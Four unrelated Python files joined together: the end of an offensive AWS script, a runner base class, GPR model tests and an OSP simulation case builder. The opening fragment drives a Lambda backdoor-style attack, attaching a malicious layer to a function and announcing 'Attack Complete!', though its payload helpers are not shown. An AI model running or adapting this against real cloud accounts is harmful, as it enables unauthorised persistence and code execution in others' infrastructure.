    trigger = assign_trigger(lambda_client.create_aws_client(), function_data['FunctionName'], rule_data['RuleArn'])
    if trigger['ResponseMetadata']['HTTPStatusCode'] == 201:
        print(f"{Fore.GREEN}[+] Trigger set!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to set Trigger, attack failed...{Style.RESET_ALL}")

    print("[+] Creating Lambda Layer...")
    layer_client = boto3.client("lambda", config=botoconfig, region_name=region_name)
    layer_information = create_lambda_layer(layer_client)
    if layer_information['ResponseMetadata']['HTTPStatusCode'] == 201:
        print(f"{Fore.GREEN}[+] Layer created!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to create layer, attack failed...{Style.RESET_ALL}")

    print("[+] Checking for lambda status...")
    while True:
        token = check_lambda_status(layer_client, function_data['FunctionName'])
        if token:
            break
        else:
            time.sleep(10)

    print("[+] Assingning Layer to Function...")
    update_layer = update_layer_information(layer_client, function_data['FunctionName'])
    if update_layer['ResponseMetadata']['HTTPStatusCode'] == 200:
        print(f"{Fore.GREEN}[+] Layer assigned! Attack Complete!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to assign layer, attack failed...{Style.RESET_ALL}")

    os.remove(lambda_path)

    return results


from __future__ import (absolute_import, division, print_function, unicode_literals)
from builtins import *

import logging, signal, os, os.path
from wizzat.util import mkdirp, slurp

__all__ = [
    'RunnerBase',
]

class RunnerBase(object):
    """
        This is a base class for runners.  It supports:
        - Setting up logging
        - Resetting logging for tests
        - Signal handling
        - Hooks for common operations like setup_connections or should_run
    """
    log_root = '/mnt/logs'
    process_name = None
    log_stdout = False
    sig_handlers = {
        signal.SIGTERM : 'sig_term',
        signal.SIGINT  : 'sig_int',
        signal.SIGHUP  : 'sig_hup',
    }

    def __init__(self, **params):
        self.__dict__.update(params)
        self.terminated  = False
        self.interrupted = False

        self.setup_logging()
        self.setup_connections()

        for sig, func in self.sig_handlers.items():
            signal.signal(sig, getattr(self, func))

    def run(self):
        """
        This method provides should_run() and automatic exception handling/logging.
        """
        if not self.should_run():
            return

        try:
            self._run()
            return self
        except Exception:
            logging.exception("Caught exception")
            raise

    def pidfile(self):
        """
        This method can be overridden to return a full file path, which will be checked as a pidfile.
        If the pidfile exists and the process also exists, the process will be flagged as should_run = False.
        """
        return False

    def check_pidfile(self):
        pidfile = self.pidfile()
        if pidfile:
            logging.info("Checking pidfile: %s", pidfile)
            mkdirp(os.path.dirname(pidfile))
            if os.path.exists(pidfile):
                try:
                    # Does the process exist and can we signal it?
                    pid = int(slurp(pidfile).strip())
                    logging.info("Pidfile %s exists, checking pid %d", pidfile, pid)
                    os.kill(pid, 0)
                    logging.info("Pidfile exists and process can be signaled, aborting")
                    return False
                except (ValueError, OSError):
                    logging.info("Pidfile exists but process cannot be signaled, continuing")

            logging.info("Writing new pidfile %s (%d)", pidfile, os.getpid())
            with open(pidfile, 'w') as fp:
                fp.write(str(os.getpid()))

        return True

    def setup_connections(self):
        """
        Stub for overriding.  Called during init()
        """
        pass

    def should_run(self):
        """
        Should implement logic for determining whether the process should run.
        Memory constraints, CPU constraints, pidfiles, etc go here.

        Called before _run()
        """
        if not self.check_pidfile():
            return False

        return True

    def setup_logging(self):
        cls = type(self)
        self.process_name = self.process_name or "{}.{}".format(cls.__module__, cls.__name__)
        if self.log_stdout:
            self.log_file = None
        else:
            self.log_file = os.path.join(self.log_root, self.process_name + '.log')

        mkdirp(self.log_root)

        # http://stackoverflow.com/questions/1943747/python-logging-before-you-run-logging-basicconfig
        # This lets you run these guys in tests with a different logging conf per runner
        root = logging.getLogger()
        if root.handlers:
            for handler in root.handlers:
                root.removeHandler(handler)

        logging.basicConfig(
            format   = '%(asctime)s.%(msecs)s:%(name)s:%(thread)d:%(levelname)s:%(process)d:%(message)s',
            filename = self.log_file,
            level    = logging.INFO,
        )

    def sig_term(self, signal, frame):
        """
        By default, sig_term sets the `terminated` flag.  This can be used for main loop control.
        """
        logging.critical('Received sigterm')
        self.terminated = True

    def sig_int(self, signal, frame):
        """
        By default, sig_int sets the `interrupted` flag.  This can be used for main loop control.
        """
        logging.critical('Received sigint')
        self.interrupted = True

    def sig_hup(self, signal, frame):
        """
        By default, sig_hup will close and reopen log files (for log rotation)
        """
        logging.critical('Received sighup')
        self.setup_logging()


import os
import sys

import numpy as np
import pytest
from numpy.random import rand

sys.path.append(os.path.join(os.path.dirname(__file__), "../.."))
module = __import__("Models", fromlist=["GPR"])

class TestGPR:
    @pytest.mark.skip
    def test_getPredictValue(self, x):
        ...

    @pytest.mark.skip
    def test_getPredictDistribution(self, x):
        ...

    @pytest.mark.parametrize(
        ("dim", "obj", "num"),
        [(3, 2, 10), (5, 3, 10), (10, 10, 10), (5, 5, 20), (10, 10, 50)],
    )
    def test_getPredictDistributionAll_random(self, dim, obj, num):

        x = np.array([[rand() for _ in range(dim)] for __ in range(num)])
        y = np.array([rand() for _ in range(num)])

        model = module.GPR.GPR(x, y)

        p = np.array([[rand() for _ in range(dim)] for __ in range(num)])
        mvL = model.getPredictDistributionAll(p)

        for t, mv in zip(p, mvL):
            m, v = model.getPredictDistribution(t)
            assert np.abs(m - mv[0]) < 1e-5
            assert np.abs(v - mv[1]) < 1e-5

    @pytest.mark.parametrize(
        ("dim", "obj", "num"),
        [(3, 2, 10), (5, 3, 10), (10, 10, 10), (5, 5, 20), (10, 10, 50)],
    )
    def test_getPredictValueAll_random(self, dim, obj, num):

        x = np.array([[rand() for _ in range(dim)] for __ in range(num)])
        y = np.array([rand() for _ in range(num)])

        model = module.GPR.GPR(x, y)

        p = np.array([[rand() for _ in range(dim)] for __ in range(num)])
        vL = model.getPredictValueAll(p)

        for t, v in zip(p, vL):
            v2 = model.getPredictValue(t)
            assert np.abs(v - v2) < 1e-5


import logging
import os
from pathlib import Path
from typing import Union

from dictIO import CppDict, DictReader

from ospx import Graph, OspSimulationCase

__ALL__ = ["OspCaseBuilder"]

logger = logging.getLogger(__name__)

class OspCaseBuilder:
    """Builder for OSP-specific configuration files needed to run an OSP (co-)simulation case."""

    def __init__(self):
        return

    @staticmethod
    def build(
        case_dict_file: Union[str, os.PathLike[str]],
        inspect: bool = False,
        graph: bool = False,
        clean: bool = False,
    ):
        """Build the OSP-specific configuration files needed to run an OSP (co-)simulation case.

        Builds following files:
            - OspSystemStructure.xml
            - SystemStructure.ssd
            - Plot.json
            - statisticsDict
            - watchDict

        Parameters
        ----------
        case_dict_file : Union[str, os.PathLike[str]]
            caseDict file. Contains all case-specific information OspCaseBuilder needs to generate the OSP files.
        inspect : bool, optional
            inspect mode. If True, build() reads all properties from the FMUs but does not actually create the OSP case files, by default False
        graph : bool, optional
            if True, creates a dependency graph image using graphviz, by default False
        clean : bool, optional
            if True, cleans up case folder and deletes any formerly created ospx files, e.g. OspSystemStructure.xml .fmu .csv etc.

        Raises
        ------
        FileNotFoundError
            if case_dict_file does not exist
        """

        # Make sure source_file argument is of type Path. If not, cast it to Path type.
        case_dict_file = case_dict_file if isinstance(case_dict_file, Path) else Path(case_dict_file)
        if not case_dict_file.exists():
            logger.error(f"OspCaseBuilder: File {case_dict_file} not found.")
            raise FileNotFoundError(case_dict_file)

        if clean:
            case_folder: Path = case_dict_file.resolve().parent
            _clean_case_folder(case_folder)

        logger.info(f"reading {case_dict_file}")  # 0

        case_dict: CppDict = DictReader.read(case_dict_file, comments=False)

        case = OspSimulationCase(case_dict)
        try:
            case.setup()
        except Exception as e:
            logger.exception(e)
            return

        if inspect:
            # inspect and return
            case._inspect()  # pyright: ignore
            return

        # case.write_osp_model_description_xmls()
        case.write_osp_system_structure_xml()
        case.write_system_structure_ssd()

        if "postProcessing" in case_dict.keys():
            case._write_plot_config_json()  # pyright: ignore

        case.write_statistics_dict()

        if graph:
            Graph.generate_dependency_graph(case)

        case.write_watch_dict()

        return

def _clean_case_folder(case_folder: Path):
    """Clean up the case folder and deletes any existing ospx files, e.g. modelDescription.xml .fmu .csv etc."""
    import re
    from shutil import rmtree

    # specify all files to be deleted (or comment-in / comment-out as needed)
    case_builder_result_files = [
        "*.csv",
        "*.out",
        "*.xml",
        "*.ssd",
        "*.fmu",
        "*callGraph",
        "*.pdf",
        "*.png",  # 'protect results/*.png'
        "watchDict",
        "statisticsDict",  # 'results',
        "zip",
    ]
    except_list = ["src", "^test_", "_OspModelDescription.xml"]
    except_pattern = "(" + "|".join(except_list) + ")"

    logger.info(f"Clean OSP simulation case folder: {case_folder}")

    for pattern in case_builder_result_files:
        files = list(case_folder.rglob(pattern))

        for file in files:
            if not re.search(except_pattern, str(file)):
                # logger.info("%s in list to clean" % file)
                if file.is_file():
                    # logger.info("file %s cleaned" % file)
                    file.unlink(missing_ok=True)
                else:
                    # logger.info("dir %s removed" % file)
                    rmtree(file)
    return